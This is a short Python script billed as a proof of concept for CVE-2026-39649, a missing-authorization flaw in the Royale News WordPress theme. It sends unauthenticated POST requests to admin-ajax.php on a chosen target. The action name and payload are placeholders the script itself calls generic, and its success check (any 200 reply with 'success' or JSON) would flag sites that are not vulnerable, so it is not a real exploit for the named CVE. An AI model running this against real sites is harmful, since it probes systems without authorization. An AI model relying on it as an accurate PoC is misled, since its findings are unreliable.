CVE-2026-39649

# PoC for CVE-2026-39649: Missing Authorization in Royale News Theme # This script demonstrates checking for an unauthenticated action. import requests def check_poc(target_url): # Vulnerable endpoint is typically wp-admin/admin-ajax.php ajax_url = f"{target_url.rstrip('/')}/wp-admin/admin-ajax.php" # The specific 'action' parameter depends on the theme's registered hooks. # This is a generic example representing a vulnerable action. payload = { "action": "royale_news_vulnerable_action", "data": "malicious_payload" } try: response = requests.post(ajax_url, data=payload, timeout=10) # Analyze response to see if the action was executed without auth if response.status_code == 200: # Check for specific success markers in response (theme dependent) if "success" in response.text or response.headers.get('Content-Type') == 'application/json': print(f"[+] Potential Vulnerability Confirmed at {target_url}") print(f"[+] Response: {response.text[:200]}") return True print("[-] Vulnerability not detected or action parameter incorrect.") return False except requests.RequestException as e: print(f"[!] Connection Error: {e}") return False if __name__ == "__main__": target = "http://example.com" # Replace with actual target check_poc(target)

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